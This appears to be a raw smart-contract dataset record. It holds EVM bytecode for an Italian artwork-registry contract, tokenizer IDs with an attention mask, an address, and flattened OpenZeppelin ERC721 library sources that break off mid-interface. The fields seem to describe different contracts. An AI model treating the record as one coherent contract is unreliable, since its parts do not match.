62001c9057600080fd5b81019080805190602001909291905050508373ffffffffffffffffffffffffffffffffffffffff166307d6be3a6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801562001d0657600080fd5b505af115801562001d1b573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101562001d4657600080fd5b81019080805164010000000081111562001d5f57600080fd5b8281019050602081018481111562001d7657600080fd5b815185600182028301116401000000008211171562001d9457600080fd5b5050929190505050839350809050955095509550955050509193509193565b604051611b3a8062001dc583390190560060806040523480156200001157600080fd5b5060405162001b3a38038062001b3a833981018060405281019080805182019291906020018051820192919060200180519060200190929190805190602001909291908051820192919050505060008551111515620000d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f636f642e207472612e206e6f6e2076616c69646f00000000000000000000000081525060200191505060405180910390fd5b6000845111151562000152576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f696420616c6c2e206e6f6e2076616c69646f000000000000000000000000000081525060200191505060405180910390fd5b6000600a60ff16111515620001cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f64617461206e61732e2070756c2e206e6f6e2076616c6964610000000000000081525060200191505060405180910390fd5b6000600a60ff161115156200024c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f646174612074726173662e206e6f6e2076616c6964610000000000000000000081525060200191505060405180910390fd5b60008151111515620002c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4944206f776e657220696e666f726d617a696f6e65206e6f6e2076616c69646f81525060200191505060405180910390fd5b33600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084600190805190602001906200031f929190620003d3565b50836002908051906020019062000338929190620003d3565b5082600360006101000a81548169ffffffffffffffffffff021916908376010000000000000000000000000000000000000000000090040217905550816003600a6101000a81548169ffffffffffffffffffff0219169083760100000000000000000000000000000000000000000000900402179055508060009080519060200190620003c7929190620003d3565b50505050505062000482565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200041657805160ff191683800117855562000447565b8280016001018555821562000447579182015b828111156200044657825182559160200191906001019062000429565b5b5090506200045691906200045a565b5090565b6200047f91905b808211156200047b57600081600090555060010162000461565b5090565b90565b6116a880620004926000396000f3006080604052600436106200008b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806307d6be3a1462000090578063785e34aa146200012657806382fffde0146200018657806395b5218114620002ca578063ad96a707146200032a578063af0cfe1f14620003c0578063d6b855ed14620004b8575b600080fd5b3480156200009d57600080fd5b50620000a86200054e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015620000ea578082015181840152602081019050620000cd565b50505050905090810190601f168015620001185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156200013357600080fd5b506200013e620005f0565b604051808275ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b3480156200019357600080fd5b5062000213600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803575ffffffffffffffffffffffffffffffffffffffffffff1916906020019092919050505062000619565b604051808375ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200180602001828103825283818151815260200191508051906020019080838360005b838110156200028d57808201518184015260208101905062000270565b50505050905090810190601f168015620002bb5780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b348015620002d757600080fd5b50620002e2620008a3565b604051808275ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b3480156200033757600080fd5b5062000342620008cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156200038457808201518184015260208101905062000367565b50505050905090810190601f168015620003b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015620003cd57600080fd5b50620004b6600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803575ffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803575ffffffffffffffffffffffffffffffffffffffffffff19169060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506200096e565b005b348015620004c557600080fd5b50620004d062000e32565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101562000512578082015181840152602081019050620004f5565b50505050905090810190601f168015620005405780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015620005e85780601f10620005bc57610100808354040283529160200191620005e8565b820191906000526020600020905b815481529060010190602001808311620005ca57829003601f168201915b505050505081565b600360009054906101000a90047601000000000000000000000000000000000000000000000281565b600060606000806004866040518082805190602001908083835b6020831015156200065a578051825260208201915060208101905060208303925062000633565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060008675ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508190508073ffffffffffffffffffffffffffffffffffffffff1663b4533c926040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156200075b57600080fd5b505af115801562000770573d6000803e3d6000fd5b505050506040513d60208110156200078757600080fd5b81019080805190602001909291905050508173ffffffffffffffffffffffffffffffffffffffff1663414004d96040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b158015620007fd57600080fd5b505af115801562000812573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156200083d57600080fd5b8101908080516401000000008111156200085657600080fd5b828101905060208101848111156200086d57600080fd5b81518560018202830111640100000000821117156200088b57600080fd5b50509291905050508090509350935050509250929050565b6003600a9054906101000a90047601000000000000000000000000000000000000000000000281565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015620009665780601f106200093a5761010080835404028352916020019162000966565b820191906000526020600020905b8154815290600101906020018083116200094857829003601f168201915b505050505081565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515620009cd57600080fd5b6000855111151562000a47576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f436f64696365204172742e2076756f746f00000000000000000000000000000081525060200191505060405180910390fd5b6000600a60ff1611151562000ac4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f446174612070726f64757a696f6e652076756f7461000000000000000000000081525060200191505060405180910390fd5b6000600a60ff1611151562000b41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f446174612073636164656e7a612076756f74610000000000000000000000000081525060200191505060405180910390fd5b6000825111151562000bbb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f49442073746162696c696d656e746f2076756f746f000000000000000000000081525060200191505060405180910390fd5b8484848462000bc962000ed4565b80806020018575ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff191681526020018475ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200180602001838103835287818151815260200191508051906020019080838360005b8381101562000c7c57808201518184015260208101905062000c5f565b50505050905090810190601f16801562000caa5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101562000ce557808201518184015260208101905062000cc8565b50505050905090810190601f16801562000d135780820380516001836020036101000a031916815260200191505b509650505050505050604051809103906000f08015801562000d39573d6000803e3d6000fd5b509050806004866040518082805190602001908083835b60208310151562000d77578051825260208201915060208101905060208303925062000d50565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060008575ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801562000ecc5780601f1062000ea05761010080835404028352916020019162000ecc565b820191906000526020600020905b81548152906001019060200180831162000eae57829003601f168201915b505050505081565b6040516107978062000ee6833901905600608060405234801561001057600080fd5b5060405161079738038061079783398101806040528101908080518201929190602001805190602001909291908051906020019092919080518201929190505050600084511115156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f436f64696365204172742e2076756f746f00000000000000000000000000000081525060200191505060405180910390fd5b6000600a60ff16111515610146576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f446174612070726f64757a696f6e652076756f7461000000000000000000000081525060200191505060405180910390fd5b6000600a60ff161115156101c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f446174612073636164656e7a612076756f74610000000000000000000000000081525060200191505060405180910390fd5b6000815111151561023b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f49442073746162696c696d656e746f2076756f746f000000000000000000000081525060200191505060405180910390fd5b83600090805190602001906102519291906102e8565b5082600160006101000a81548169ffffffffffffffffffff021916908376010000000000000000000000000000000000000000000090040217905550816001600a6101000a81548169ffffffffffffffffffff02191690837601000000000000000000000000000000000000000000009004021790555080600290805190602001906102de9291906102e8565b505050505061038d565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061032957805160ff1916838001178555610357565b82800160010185558215610357579182015b8281111561035657825182559160200191906001019061033b565b5b5090506103649190610368565b5090565b61038a91905b8082111561038657600081600090555060010161036e565b5090565b90565b6103fb8061039c6000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063414004d914610067578063963ca26e146100f757806399f949d714610154578063b4533c92146101e4575b600080fd5b34801561007357600080fd5b5061007c610241565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100bc5780820151818401526020810190506100a1565b50505050905090810190601f1680156100e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561010357600080fd5b5061010c6102df565b604051808275ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b34801561016057600080fd5b50610169610308565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a957808201518184015260208101905061018e565b50505050905090810190601f1680156101d65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f057600080fd5b506101f96103a6565b604051808275ffffffffffffffffffffffffffffffffffffffffffff191675ffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156102d75780601f106102ac576101008083540402835291602001916102d7565b820191906000526020600020905b8154815290600101906020018083116102ba57829003601f168201915b505050505081565b6001600a9054906101000a90047601000000000000000000000000000000000000000000000281565b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561039e5780601f106103735761010080835404028352916020019161039e565b820191906000526020600020905b81548152906001019060200180831161038157829003601f168201915b505050505081565b600160009054906101000a900476010000000000000000000000000000000000000000000002815600a165627a7a72305820c99b428184ad390ba39678c8d4115b17abd42908e95d737c582d6a0696e224900029a165627a7a723058208be849675c2440487829f6cd5062baa8baaf4375531bcf6d866d2f55f8ad33fd0029a165627a7a7230582056252070fd85c32eea7aacd5715fa8bb6f9021e6f49e91fbb523aff9152039750029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2487, 20952, 2278, 2546, 2487, 2850, 14142, 2575, 2050, 24087, 2497, 2692, 2094, 2692, 14142, 17788, 20842, 3676, 2509, 2278, 2575, 2509, 2050, 2581, 26187, 28154, 20958, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 3206, 2396, 11261, 4135, 1063, 27507, 2270, 19429, 6610, 1035, 2396, 11261, 4135, 1025, 27507, 10790, 2270, 2951, 1035, 4013, 8566, 20574, 1025, 27507, 10790, 2270, 2951, 1035, 8040, 9648, 16786, 1025, 27507, 2270, 8909, 1035, 17079, 18622, 23065, 1025, 9570, 2953, 1006, 27507, 1035, 19429, 6610, 1035, 2396, 11261, 4135, 1010, 27507, 10790, 1035, 2951, 1035, 4013, 8566, 20574, 1010, 27507, 10790, 1035, 2951, 1035, 8040, 9648, 16786, 1010, 27507, 1035, 8909, 1035, 17079, 18622, 23065, 1007, 2270, 1063, 5478, 1006, 1035, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,044
0x961e4bc4a18cd37414fab9cccd92d6a53d27461d
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() 